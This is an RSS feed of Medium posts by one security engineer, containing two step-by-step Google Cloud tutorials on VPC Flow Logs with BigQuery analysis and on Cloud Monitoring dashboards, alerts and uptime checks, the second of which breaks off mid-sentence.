<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Sylvester I. Baruch on Medium]]></title>
        <description><![CDATA[Stories by Sylvester I. Baruch on Medium]]></description>
        <link>https://medium.com/@5urg3on?source=rss-73a5934e570d------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*oRLWnRatCTmQV16B</url>
            <title>Stories by Sylvester I. Baruch on Medium</title>
            <link>https://medium.com/@5urg3on?source=rss-73a5934e570d------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 28 Nov 2026 15:01:45 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@5urg3on/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Network Intelligence: Understanding Data Movement Across Your Infrastructure]]></title>
            <link>https://medium.com/@5urg3on/network-intelligence-understanding-data-movement-across-your-infrastructure-1be30e9c5f86?source=rss-73a5934e570d------2</link>
            <guid isPermaLink="false">https://medium.com/p/1be30e9c5f86</guid>
            <dc:creator><![CDATA[Sylvester I. Baruch]]></dc:creator>
            <pubDate>Wed, 25 Mar 2026 06:01:00 GMT</pubDate>
            <atom:updated>2026-03-25T06:01:00.826Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Bv-aHoyc7DQxP4NbHytH7g.png" /></figure><h3>The Invisible Traffic Problem</h3><p>Your infrastructure is moving data right now. Servers talking to databases. External users accessing applications. Internal systems communicating with each other. But here’s what most teams don’t know: <em>where is all that data actually moving?</em></p><p>For years, security and infrastructure teams have operated with incomplete information. You can tell if a server is healthy. You can monitor CPU, memory, disk. But ask someone “who accessed that database last week?” or “is there unusual traffic between your VMs?” and the answers get vague fast.</p><p>As a Security Engineer at an MSSP, I see this gap across multiple client environments. Teams can articulate their application architecture, but they can’t articulate their data movement. They don’t know which external IPs are hitting their web servers. They can’t prove who accessed what for compliance audits. They have no way to detect lateral movement if a breach occurs.</p><p><strong>This is the invisible traffic problem.</strong></p><p>Data movement is security-critical information. You can’t defend what you can’t see. You can’t prove compliance without an audit trail. And you can’t investigate incidents if you don’t know what traffic actually flowed through your network.</p><p>This guide walks you through building complete network visibility on Google Cloud. Not just knowing your infrastructure exists, but understanding every connection happening across it. Who’s talking to what, how much data is moving, and what that tells you about your security posture.</p><h3>Why Network Visibility Matters (Before We Start)</h3><p>Network traffic analysis isn’t just ops work. It’s foundational to security.</p><p>Threat detection: Unusual traffic patterns (data exfiltration, lateral movement, DDoS) show up as anomalies in network flow. You see them in real-time.</p><p>Compliance audit trail: Regulators ask: “Can you prove who accessed your systems and when?” Network logs answer that precisely.</p><p>Incident investigation: When something goes wrong, your first questions are answered by network data: “Which IPs accessed that server? How much data left the network? What ports were used?”</p><p>Cost optimization: Understanding traffic patterns helps you right-size infrastructure, identify inefficient communication, and optimize data flow costs.</p><p>Now let’s build that visibility.</p><h4>Prerequisites</h4><p>You’ll need:</p><p>A Google Cloud project</p><p>Access to the Cloud Console</p><p>Basic familiarity with networking concepts (VPC, subnets, IP addresses)</p><p>Ability to SSH into VM instances</p><h4>Step 1: Create a Custom VPC Network with Flow Logs Enabled</h4><p>Why this step: VPC Flow Logs are disabled by default. By creating a custom network with flow logs turned on, every connection happening in that network will be recorded automatically. This is your data movement audit trail.</p><p>Create the Network</p><p>In the Google Cloud console, navigate to VPC network &gt; VPC networks</p><p>Click Create VPC Network</p><p>Enter the following:</p><p>Name: vpc-net</p><p>Subnet creation mode: Custom</p><p>For the subnet, specify:</p><p>Name: vpc-subnet</p><p>Region: Your chosen region</p><p>IPv4 range: 10.1.3.0/24</p><p>Flow Logs: On</p><h4>[IMAGE: VPC network creation screen with Flow Logs enabled]</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/901/1*D3CtgyNigHfMVjnR9yJOPg.png" /></figure><p>Click Done, then Create</p><p>Wait for the network to be created before continuing.</p><p>What you’ve just done: Every packet flowing through this subnet will now be logged. Who sent it, where it went, what port, what protocol, and how much data moved. This gives you complete visibility into network behavior.</p><h4>Create a Firewall Rule</h4><p>Network flow logs capture traffic, but you need to allow traffic first.</p><p>Navigate to VPC network &gt; <strong>Firewall</strong></p><p>Click Create Firewall Rule</p><p>Specify:</p><p><strong>Name:</strong> allow-http-ssh</p><p><strong>Network:</strong> vpc-net</p><p><strong>Targets:</strong> Specified target tags</p><p><strong>Target tags:</strong> http-server</p><p><strong>Source IPv4 ranges:</strong> 0.0.0.0/0</p><p><strong>Protocols and ports:</strong> TCP ports 22 (SSH) and 80 (HTTP)</p><p>[IMAGE: Firewall rule creation]</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/978/1*dfjPg_FO_TnISGoA1yzV_w.png" /></figure><p>Click <strong>Create</strong></p><h3>Step 2: Deploy a Web Server</h3><p><strong>Why this step:</strong> You need a resource that generates network traffic so you can see VPC Flow Logs in action. A web server accessed from multiple sources is perfect for demonstrating how traffic is recorded.</p><h3>Create the VM Instance</h3><ol><li>Navigate to <strong>Compute Engine &gt; VM instances</strong></li><li>Click <strong>Create Instance</strong></li><li>Configure:</li></ol><ul><li><strong>Name:</strong> web-server</li><li><strong>Series:</strong> E2</li><li><strong>Machine type:</strong> e2-micro</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ghdLRSoW1HSm015JNmWJKQ.png" /></figure><ol><li>Expand <strong>Networking</strong></li><li>Set:</li></ol><ul><li><strong>Network tags:</strong> http-server</li><li><strong>Network:</strong> vpc-net</li><li><strong>Subnetwork:</strong> vpc-subnet (10.1.3.0/24)</li></ul><p>[IMAGE: VM instance creation with networking configuration]</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QMnUzp7zXMmkO-ph0IbniA.png" /></figure><p>Click <strong>Create</strong></p><h3>Install Apache Web Server</h3><p>Once the instance is running:</p><ol><li>Click <strong>SSH</strong> to connect to the instance</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*b4cktBF6dxp4ITezVrVnPw.png" /></figure><p>2. Update packages:</p><pre>sudo apt-get update</pre><p>3. Install Apache:</p><pre>sudo apt-get install apache2 -y</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dQWPIoo5hTZSfPcBHL6Oyw.png" /></figure><p>4. Create a custom welcome page:</p><pre>echo &#39;&lt;!doctype html&gt;&lt;html&gt;&lt;body&gt;&lt;h1&gt;Hello World!&lt;/h1&gt;&lt;/body&gt;&lt;/html&gt;&#39; | sudo tee /var/www/html/index.html</pre><p>Close out and Exit SSH:</p><pre>exit</pre><p>Now you have a web server deployed on your custom VPC network. Any traffic to this server will be captured in VPC Flow Logs.</p><h3>Step 3: Generate Network Traffic and Verify Flow Logs</h3><p><strong>Why this step:</strong> VPC Flow Logs only record what actually happens. By generating traffic, you’ll see real network connections being captured and understand what data the logs contain.</p><h3>Access the Web Server</h3><ol><li>Return to the VM instances page</li><li>Click the External IP of web-server to confirm it’s running</li><li>You should see “Hello World!”</li></ol><p>[IMAGE: Web server showing Hello World page]</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QzzIm_cWoXkMQPqfW2PcSw.png" /></figure><h3>Find Your Client IP Address</h3><p>To correlate traffic in the logs, you need to know your IP address:</p><ol><li>Open a new browser tab</li><li>Search for “what’s my IP”</li><li>Copy your IPv4 address (note: must be IPv4, not IPv6)</li></ol><blockquote>For this I use whatismyip website</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/880/1*sohDyR-At15OSPUZhhg80w.png" /></figure><h3>View VPC Flow Logs</h3><ol><li>In the Cloud Console, search for <strong>Logging</strong> and click <strong>Logs Explorer</strong></li><li>In the resource selector dropdown, select <strong>Subnetwork</strong> and click <strong>Apply</strong></li><li>In the log names selector, select <strong>vpc_flows</strong> and click <strong>Apply</strong></li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0__w5HRhp-L9ODxK37xmcg.png" /></figure><p>4. In the query builder, add your IP address on a new line and click <strong>Run Query</strong></p><p>[IMAGE: VPC Flow Logs appearing in Logs Explorer]</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SaABLLRcqWrWROqJBEyPtA.png" /></figure><p>The results show every connection to your web server. Expand one entry and explore the jsonPayload section to see what data is captured:</p><ul><li><strong>Connection source IP:</strong> Where the traffic came from</li><li><strong>Connection source port:</strong> The port the client used</li><li><strong>Connection destination IP:</strong> Your web server’s IP</li><li><strong>Connection destination port:</strong> The port accessed (80 for HTTP)</li><li><strong>Protocol:</strong> TCP, UDP, etc.</li><li><strong>Bytes sent/received:</strong> The volume of data moved</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5Cae8DzXIefqvxVXpL9X4g.png" /></figure><p>This is network intelligence. Every connection, visible and queryable.</p><h3>Step 4: Export Flow Logs to BigQuery for Deep Analysis</h3><p><strong>Why this step:</strong> Logs Explorer is good for quick lookups, but for serious analysis (identifying patterns, finding anomalies, generating reports), you need a database. BigQuery gives you SQL-based analysis of all your network traffic.</p><h3>Create an Export Sink</h3><ol><li>In Logs Explorer, click <strong>Actions &gt; Create Sink</strong></li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pTD38loSTcS08aCvnV74RQ.png" /></figure><p>2. Name the sink: <strong>bq_vpcflows</strong></p><p>3. Select sink service: <strong>BigQuery dataset</strong></p><p>4. Click <strong>Create new BigQuery dataset</strong></p><p>5. Dataset ID: <strong>bq_vpcflows</strong></p><p>5. Click <strong>Create Dataset</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/853/1*74sa3roeKvcBNhziyrL0kw.png" /></figure><p>6. Complete the sink creation</p><p>[IMAGE: BigQuery dataset creation for VPC Flow Logs]</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_aqAgXxcPX7FjKIamB9nOg.png" /></figure><p>Now all VPC Flow Logs are automatically exported to BigQuery.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0-RaOESArCahXWwfm6KrAA.png" /></figure><h3>Generate Traffic for Analysis</h3><ol><li>Navigate to <strong>Compute Engine &gt; VM instances</strong></li><li>Note the External IP of web-server</li><li>Click <strong>Activate Cloud Shell</strong></li><li>Store the IP in a variable:</li></ol><pre>export MY_SERVER=&lt;External_IP&gt;</pre><p>5. Generate 50 requests via Cloud shell:</p><pre>for ((i=1;i&lt;=50;i++)); do curl $MY_SERVER; done</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SSy7DXm9qlgbXLodKr5k5A.png" /></figure><p>This creates realistic traffic for you to analyze.</p><h3>Query Network Flow Data</h3><ol><li>Navigate to <strong>BigQuery</strong></li><li>Expand the bq_vpcflows dataset and click the table (should start with compute_googleapis)</li><li>Click <strong>Details</strong> and copy the <strong>Table ID</strong></li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sVW4cJG7DenyAwEh28pTSg.png" /></figure><p>4. Click the <strong>+</strong> icon to open a new query editor</p><p>5. Paste and run this query (replace your_table_id with the Table ID):</p><p>sql</p><pre>#standardSQL<br>SELECT<br>  jsonPayload.src_vpc.vpc_name,<br>  SUM(CAST(jsonPayload.bytes_sent AS INT64)) AS bytes,<br>  jsonPayload.src_vpc.subnetwork_name,<br>  jsonPayload.connection.src_ip,<br>  jsonPayload.connection.src_port,<br>  jsonPayload.connection.dest_ip,<br>  jsonPayload.connection.dest_port,<br>  jsonPayload.connection.protocol<br>FROM<br>  `your_table_id`<br>GROUP BY<br>  jsonPayload.src_vpc.vpc_name,<br>  jsonPayload.src_vpc.subnetwork_name,<br>  jsonPayload.connection.src_ip,<br>  jsonPayload.connection.src_port,<br>  jsonPayload.connection.dest_ip,<br>  jsonPayload.connection.dest_port,<br>  jsonPayload.connection.protocol<br>ORDER BY<br>  bytes DESC<br>LIMIT 15</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AQmqJ8k1wS2-dLadrqXUBA.png" /></figure><p>[IMAGE: BigQuery query results showing network traffic]</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cs8G2SlvrwFwRzYaaWDm4Q.png" /></figure><p>The results show each unique connection with the total bytes transferred. This answers questions like: “Which IPs are moving the most data?”</p><h3>Analyze Traffic Patterns</h3><p>Now run this query to identify top data sources hitting your web server:</p><pre>#standardSQL<br>SELECT<br>  jsonPayload.connection.src_ip,<br>  jsonPayload.connection.dest_ip,<br>  SUM(CAST(jsonPayload.bytes_sent AS INT64)) AS bytes,<br>  jsonPayload.connection.dest_port,<br>  jsonPayload.connection.protocol<br>FROM<br>  `your_table_id`<br>WHERE jsonPayload.reporter = &#39;DEST&#39;<br>GROUP BY<br>  jsonPayload.connection.src_ip,<br>  jsonPayload.connection.dest_ip,<br>  jsonPayload.connection.dest_port,<br>  jsonPayload.connection.protocol<br>ORDER BY<br>  bytes DESC<br>LIMIT 15</pre><p>This shows which external IPs sent the most traffic to your infrastructure. It’s critical for identifying anomalies, detecting attacks, or understanding legitimate traffic patterns.</p><h3>Step 5: Optimize Logging with Aggregation</h3><p><strong>Why this step:</strong> VPC Flow Logs can generate massive volumes of data. By configuring aggregation, you balance visibility with cost. Fewer log entries, but still capturing the patterns you need.</p><h3>Enable Flow Log Aggregation</h3><ol><li>Navigate to <strong>VPC network &gt; VPC Flow Logs</strong></li><li>Click <strong>Enable the Network Management API</strong> (if prompted)</li><li>Click <strong>Add VPC flow logs configuration</strong></li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HWPa72P0TWMHKXbr_3yUDw.png" /></figure><p>4. Under Subnets, select <strong>vpc-net</strong> and <strong>vpc-subnet</strong></p><p>5. Click <strong>Manage flow logs</strong></p><p>6. Click <strong>Advanced Settings</strong></p><p>7. Configure:</p><ul><li><strong>Aggregation interval:</strong> 30 seconds (default is 5 seconds)</li><li><strong>Metadata annotations:</strong> On (for enriched data)</li><li><strong>Secondary sampling rate:</strong> 25% (capture 1 in 4 entries)</li></ul><p>[IMAGE: VPC Flow Logs aggregation settings]</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/817/1*v5VLgq7Wy3UtozZANrDjqg.png" /></figure><p>Click <strong>Done</strong> and <strong>Save</strong></p><p><strong>What this does:</strong> Instead of one log entry per packet, packets are aggregated into 30-second windows. Instead of recording every packet, sample 25% of them. Result: up to 83% reduction in log volume without losing visibility of actual traffic patterns.</p><p>Caution: While a 25% sampling rate reduces costs significantly, it also means 75% of traffic is not logged. This creates a visibility gap where attack traffic could occur undetected. For security-critical environments, use 100% sampling to ensure no data loss. Aggregation alone (30 seconds) provides sufficient cost reduction while maintaining full visibility.</p><p>You now have:</p><ol><li><strong>Network visibility</strong> — Every connection in your VPC is captured automatically</li><li><strong>Real-time logging</strong> — Traffic is recorded as it happens and accessible in seconds</li><li><strong>Queryable data</strong> — BigQuery lets you run SQL against your network traffic</li><li><strong>Compliance audit trail</strong> — Timestamped records of who accessed what and when</li><li><strong>Cost optimization</strong> — Aggregation settings let you tune volume vs. visibility</li></ol><p>This is network intelligence. This is how you move from blind spots in data movement to complete understanding of what’s flowing across your infrastructure.</p><h3>Next Steps</h3><p>From here:</p><ul><li><strong>Create dashboards</strong>: Visualize traffic patterns in Data Studio or Looker</li><li><strong>Set up alerts</strong>: BigQuery can trigger alerts on unusual traffic (sudden spikes, unexpected destinations)</li><li><strong>Implement Cloud Armor</strong>: Use network insights to block malicious traffic before it reaches your applications</li><li><strong>Optimize routing</strong>: Analyze data movement to improve latency and reduce egress costs</li><li><strong>Strengthen incident response</strong>: When breaches or anomalies occur, network logs become your investigation starting point</li></ul><p>Network flow analysis isn’t one-time setup. It’s ongoing intelligence about what’s actually happening in your infrastructure.</p><h3>Why This Matters for Security Engineers</h3><p>Network visibility is often treated as an ops concern. But for security teams, it’s foundational:</p><ul><li><strong>Threat detection</strong>: Anomalous traffic patterns = potential compromise. You detect threats by understanding normal.</li><li><strong>Forensics</strong>: When something goes wrong, “which IPs accessed the system and when?” is answered by network logs.</li><li><strong>Compliance</strong>: Auditors ask for proof of access control. Network logs provide that proof at the packet level.</li><li><strong>Zero Trust validation</strong>: Claims to segment traffic mean nothing without data showing actual network behavior.</li></ul><p>From experience as someone supporting offensive security engagements, identifying, validating, and documenting security weaknesses using practical, real-world attack techniques aligned with modern threat actor behavior. I can tell you most teams don’t have visibility into data movement.</p><p>The difference between a security posture you hope works and one you can verify comes down to visibility. Network Flow Logs give you that visibility.</p><p>You now know every data movement in your infrastructure. That’s network intelligence.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1be30e9c5f86" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[From Blind Spots to Real-Time Alerts: Monitoring, Alerting & Uptime Checks Observability with GCP]]></title>
            <link>https://medium.com/@5urg3on/from-blind-spots-to-real-time-alerts-monitoring-alerting-uptime-checks-observability-with-gcp-d9db5232a494?source=rss-73a5934e570d------2</link>
            <guid isPermaLink="false">https://medium.com/p/d9db5232a494</guid>
            <category><![CDATA[google-cloud-security]]></category>
            <category><![CDATA[logging-and-monitoring]]></category>
            <category><![CDATA[observability]]></category>
            <dc:creator><![CDATA[Sylvester I. Baruch]]></dc:creator>
            <pubDate>Mon, 23 Mar 2026 06:01:00 GMT</pubDate>
            <atom:updated>2026-03-23T06:01:00.645Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*e9OSVW0KbxvSEYXz6q5xkw.png" /></figure><h3>The Blind Spot Problem</h3><p>Your application is running on Google Cloud. Three VMs spinning up, processing requests, serving users. But here’s the question nobody asks until something breaks: <em>What’s actually happening inside those boxes right now?</em></p><p>Most teams don’t know. They deploy infrastructure, configure networking, set firewall rules, and then hope nothing fails. When it does, the scramble begins. No visibility. No metrics. No idea where to look. You’re troubleshooting in the dark.</p><p>This is the blind spot.</p><p>For security engineers, observability is non-negotiable. You can’t detect a breach you don’t see. You can’t prove compliance if you have no audit trail. You can’t respond to incidents if you don’t know they’re happening. And you definitely can’t troubleshoot application failures without understanding what your infrastructure is actually doing.</p><p>This guide walks you through building a monitoring foundation on GCP that answers the questions you’ll need when things go wrong: What happened? When did it happen? Why did it happen? And how do I prevent it next time?</p><h3>Why Observability Matters (Before We Start)</h3><p>Observability isn’t just ops work. It’s security work.</p><ul><li><strong>Incident detection</strong>: Unusual CPU spikes = possible breach, crypto-mining, or DDoS. You’ll see it in real-time.</li><li><strong>Compliance audit trail</strong>: Regulators ask: “Can you prove your systems were monitored?” Monitoring policies answer that.</li><li><strong>MTTR (Mean Time To Respond)</strong>: Without metrics, incident response is guesswork. With them, you’re pointing at data.</li><li><strong>Troubleshooting</strong>: Customer reports slowness. You have exact CPU/memory/disk metrics from that moment. No more “works for us, maybe your ISP?”</li></ul><p>Now let’s build it.</p><h3>Prerequisites</h3><p>You’ll need:</p><ul><li>Your Google Cloud project (Three VM instances [nginxstack-1, nginxstack-2, nginxstack-3] in this example)</li><li>Access to the Cloud Console</li><li>An email address for alert notifications</li></ul><h3>Step 1: Verify Your Resources</h3><p>Before monitoring, confirm what you’re monitoring.</p><p>In the Google Cloud console, navigate to <strong>Compute Engine &gt; VM instances</strong>.</p><p>You should see three instances listed:</p><ul><li>nginxstack-1</li><li>nginxstack-2</li><li>nginxstack-3</li></ul><p>All three should have green status indicators. This is your infrastructure baseline.</p><p>[IMAGE: Screenshot of VM instances list]</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/870/1*Qw3dfEdDwqP5cMaqYzTrUQ.png" /></figure><h3>Step 2: Custom Dashboard — Visibility Into What Matters</h3><p><strong>Why this step:</strong> A dashboard is your command center. Instead of clicking through the console to find metrics, you’re looking at the data that matters to you right now. For security and ops teams, this is where you spot anomalies fast.</p><h3>Creating Your Dashboard</h3><ol><li>Navigate to <strong>Observability &gt; Monitoring</strong> in the Cloud Console</li><li>Click <strong>Dashboards</strong> in the left pane</li><li>Click <strong>Create Custom Dashboard</strong></li><li>Click <strong>New Dashboard</strong></li><li>Name it “Monitoring Dashboard”</li></ol><p>[IMAGE: Empty dashboard creation screen]</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/991/1*kMx_ybh0qe3AX5mYGDnUoQ.png" /></figure><h3>Adding Your First Chart</h3><p>Now you’ll add a CPU utilization chart. This is foundational: CPU spikes can indicate resource exhaustion, malicious activity, or misconfiguration.</p><ol><li>Click <strong>Add widget</strong> &gt; select <strong>Line</strong> chart</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*M4VHa3X9r1onQNvBAjQT2g.png" /></figure><ol><li>Name the widget “My Chart”</li><li>In the metric selector, type “CPU utilization”</li><li>Select <strong>VM Instance &gt; Instance &gt; CPU utilization</strong> and click <strong>Apply</strong></li></ol><ul><li>Note: If you can’t find it, uncheck the “Active” filter</li></ul><ol><li>Click <strong>+ Add Filter</strong> to explore filtering options (by instance name, zone, etc.)</li><li>Click <strong>Apply</strong> to create the chart</li></ol><p>Your dashboard now shows CPU utilization across your VMs in real-time. This is what visibility looks like.</p><p><strong>Pro tip:</strong> Add more charts. Memory utilization, network bytes in/out, disk operations. Build the dashboard that answers your specific questions.</p><h3>Optional: Metrics Explorer</h3><p>If you want to explore metrics without adding them to a dashboard:</p><ol><li>Click <strong>Metrics explorer</strong> in the left pane</li><li>Select metrics and experiment</li><li>This is useful for ad-hoc troubleshooting without cluttering your dashboard</li></ol><p>[IMAGE: Metrics explorer interface]</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*A9xGFStIF3NIZKOhqEAo4w.png" /></figure><h3>Step 3: Alerting Policies — Catching Incidents Before They Escalate</h3><p><strong>Why this step:</strong> A dashboard is passive. You look at it when you remember. Alerts are active. They find you when things go wrong. For security teams, this is your early warning system.</p><p>The scenario: CPU usage spikes to 100% on one of your VMs. Without an alert, you discover this when users complain. With an alert, you’re investigating in minutes.</p><h3>Creating Your Alert Policy</h3><ol><li>Click <strong>Alerting</strong> in the left pane</li><li>Click <strong>+ Create policy</strong></li><li>Click <strong>Select a metric dropdown</strong>, uncheck “Active”</li><li>Type “VM Instance” and select <strong>VM Instance &gt; Instance &gt; CPU usage</strong></li><li>Click <strong>Apply</strong></li><li>Set <strong>Rolling window</strong> to 1 min (detect fast spikes)</li><li>Click <strong>Next</strong></li></ol><p>[IMAGE: First condition setup]</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LEtcK-Aas6SMg7rAVln_Hg.png" /></figure><h3>Setting the Threshold</h3><ol><li>Set <strong>Threshold position</strong> to “Above Threshold”</li><li>Set the threshold value to <strong>20</strong> (CPU usage %)</li><li>Click <strong>Next</strong></li></ol><p>This means: “Alert me if CPU usage exceeds 20% for 1 minute.” Adjust based on your baseline.</p><h3>Adding a Second Condition</h3><p>Alerts are more powerful when you stack conditions. This reduces false positives.</p><ol><li>Click <strong>+ Add alert condition</strong></li><li>Select <strong>VM Instance &gt; Instance &gt; CPU utilization</strong> (note: different metric)</li><li>Set rolling window to 1 min</li><li>Set threshold to 20 (above threshold)</li><li>Click <strong>Next</strong></li></ol><p>[IMAGE: Second condition configuration]</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*W0XOaD8MER1unmudDrvNNg.png" /></figure><h3>Multi-Condition Logic</h3><ol><li>Select <strong>All conditions are met</strong> in the Multi-condition trigger</li><li>Click <strong>Next</strong></li></ol><p>This means both metrics must breach their thresholds simultaneously for the alert to fire. This is smarter than single-metric alerts.</p><h3>Step 4: Configure Notifications — Getting Alerted</h3><p><strong>Why this step:</strong> An alert that doesn’t notify you is useless. You need this to reach you reliably, whenever it happens.</p><h3>Setting Up Email Notifications</h3><ol><li>Click <strong>Notification Channels</strong> dropdown</li><li>Click <strong>Manage Notification Channels</strong></li></ol><p>[IMAGE: Notification channels page opening]</p><p>A new tab will open.</p><ol><li>Scroll down and find <strong>Email</strong></li><li>Click <strong>Add New</strong></li><li>Enter your email address and a display name (e.g., “Security Team”)</li><li>Click <strong>Save</strong></li></ol><h3>Finishing the Alert Policy</h3><ol><li>Go back to the alert creation tab</li><li>Click <strong>Notification Channels</strong>, then click the <strong>Refresh icon</strong></li><li>Select your email display name</li><li>Click <strong>Ok</strong></li><li>Name your policy “My Alert Policy”</li><li>Click <strong>Next</strong></li><li>Review and click <strong>Create Policy</strong></li></ol><p>[IMAGE: Alert policy confirmation]</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*euh0BVYGeyggQn4s-_NZXw.png" /></figure><p>Your alert is now live. When CPU usage on any of your VMs hits the threshold, you’ll receive an email.</p><h3>Step 5: Resource Groups — Organizing for Faster Response</h3><p><strong>Why this step:</strong> As your infrastructure grows, you’ll have dozens or hundreds of resources. Groups let you apply policies, dashboards, and alerts to logical collections instead of managing them individually.</p><p>Example use case: All production web servers in one group. All database instances in another. Different alert thresholds for each.</p><h3>Creating a Resource Group</h3><ol><li>Click <strong>Groups</strong> in the left pane</li><li>Click <strong>+ Create Group</strong></li><li>Name it “VM instances”</li><li>In the Criteria section, type “nginx” in the <strong>Contains</strong> field</li><li>Click <strong>Done</strong></li><li>Click <strong>Create</strong></li></ol><p>[IMAGE: Group creation screen]</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iWH5d7S5Jdfwy8D8gdZxgQ.png" /></figure><p>This group automatically pulls in any resource with “nginx” in its name. Right now, that’s all three VMs. Cloud Monitoring generates a dashboard for this group automatically.</p><p><strong>Why this matters for security:</strong> You can now create group-level policies. One alert for “all production servers.” If you add a fourth nginx VM, it’s automatically included. Consistency at scale.</p><h3>Step 6: Uptime Monitoring — Detecting Service Failures in Real-Time</h3><p><strong>Why this step:</strong> CPU metrics tell you the system is working. Uptime checks tell you <em>the service is responding</em>. This is the difference between “the server is running” and “users can access the application.”</p><p>Uptime checks are also your first line of defense against service compromise. If an attacker shuts down your application, you know immediately.</p><h3>Creating an Uptime Check</h3><ol><li>Click <strong>Uptime checks</strong> in the left pane</li><li>Click <strong>+ Create uptime check</strong></li><li>Configure as follows:</li></ol><ul><li><strong>Protocol:</strong> HTTP</li><li><strong>Resource Type:</strong> Instance</li><li><strong>Applies To:</strong> Group</li><li><strong>Group:</strong> VM instances</li><li><strong>Check Frequency:</strong> 1 minute</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TB3usEgALw4ESHNBkcXLsQ.png" /></figure><p>Click <strong>Continue</strong></p><p>[IMAGE: Uptime check target configuration]</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2EaKEW5CXpBjqPC43gvxbg.png" /></figure><h3>Adding Alerts to Uptime Checks</h3><ol><li>Click <strong>Alert &amp; Notification</strong></li><li>Select your email notification channel</li><li>Click <strong>Continue</strong></li></ol><p>For <strong>Title</strong>, type “My Uptime check”</p><ol><li>Click <strong>Test</strong> to verify connectivity</li></ol><p>When you see a green checkmark, the uptime check successfully reached your resources.</p><ol><li>Click <strong>Create</strong></li></ol><p>The uptime check takes a few minutes to become active. Once it does, you’ll receive an email if any resource in the group becomes unreachable.</p><h3>What You’ll Actually See: The Alert Email</h3><p>When your alert fires, here’s what lands in your inbox:</p><p>[IMAGE: Alert email notification]</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/845/1*Di4mY3TQwdZyEH00wnD_Mg.png" /></figure><p>This tells you:</p><ul><li>Which policy triggered (“My Alert Policy”)</li><li>What condition was met (CPU usage exceeded threshold)</li><li>Which resource (instance name, zone)</li><li>When it happened (timestamp)</li><li>A direct link to investigate in the console</li></ul><p><strong>Real-world scenario:</strong> You get this email at 2 AM. CPU spiked on nginxstack-2. You click the link, see the dashboard, check logs, find a runaway process, kill it. MTTR: 10 minutes. Without monitoring: MTTR: 2 hours (when the on-call wakes up to user complaints).</p><h3>What You’ve Built</h3><p>You now have:</p><ol><li><strong>Visibility</strong> — Real-time dashboards showing what your infrastructure is doing</li><li><strong>Detection</strong> — Alerts that notify you when thresholds are breached</li><li><strong>Organization</strong> — Resource groups that scale as your infrastructure grows</li><li><strong>Availability monitoring</strong> — Uptime checks that confirm services are responding</li><li><strong>Audit trail</strong> — Email notifications timestamped for compliance</li></ol><p>This is observability. This is how you move from blind spots to real-time awareness.</p><h3>Next Steps</h3><p>From here:</p><ul><li><strong>Add more metrics:</strong> Memory, disk, network. Build dashboards that answer your specific questions.</li><li><strong>Refine thresholds:</strong> The 20% CPU threshold will change based on your actual baselines. Monitor for a week, then adjust.</li><li><strong>Create service-specific groups:</strong> Separate production from staging. Different alert rules for each.</li><li><strong>Integrate with SIEM:</strong> Send alerts to Splunk, Datadog, or your security platform.</li><li><strong>Build runbooks:</strong> When an alert fires, what do you do? Document it. Share it with the team.</li></ul><p>Observability isn’t a one-time setup. It’s a practice. You’ll iterate, refine, and improve your monitoring as you learn what matters most to your infrastructure and your security posture.</p><h3>Why This Matters for Security Engineers</h3><p>Monitoring is ops work on the surface. But for security teams, it’s foundational:</p><ul><li><strong>Threat detection:</strong> Anomalies in resource usage can indicate compromise</li><li><strong>Compliance:</strong> Auditors ask “How do you know what happened?” 